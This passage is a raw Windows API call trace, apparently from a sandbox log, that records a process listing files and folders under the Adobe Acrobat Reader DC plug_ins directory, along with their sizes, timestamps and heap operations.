ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0244.749] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0244.750] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0244.750] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0244.750] GetProcessHeap () returned 0xc10000 [0244.750] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0244.750] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0244.750] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0 [0244.750] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0244.751] GetProcessHeap () returned 0xc10000 [0244.751] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0244.751] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0244.751] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0244.751] GetProcessHeap () returned 0xc10000 [0244.751] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.754] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0244.754] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0244.754] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0244.754] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropboxStorage.api", cAlternateFileName="DROPBO~1.API")) returned 1 [0244.754] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0244.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0244.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0244.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0244.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1 [0244.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1 [0244.756] GetProcessHeap () returned 0xc10000 [0244.756] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0244.758] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.758] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0244.758] GetProcessHeap () returned 0xc10000 [0244.758] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0244.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0244.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb85c4d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1 [0244.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1 [0244.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbabec5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x42e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1 [0244.760] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 1 [0244.760] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="WINDOW~1.MPP")) returned 0 [0244.760] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0244.760] GetProcessHeap () returned 0xc10000 [0244.760] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0244.760] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0244.760] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0244.761] GetProcessHeap () returned 0xc10000 [0244.761] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.761] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0244.761] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0244.761] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pi_brokers", cAlternateFileName="PI_BRO~1")) returned 1 [0244.761] GetProcessHeap () returned 0xc10000 [0244.761] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0244.763] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.763] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32BitMAPIBroker.exe", cAlternateFileName="32BITM~1.EXE")) returned 1 [0244.763] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 1 [0244.763] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 0 [0244.763] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0244.764] GetProcessHeap () returned 0xc10000 [0244.764] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x33e4da8, 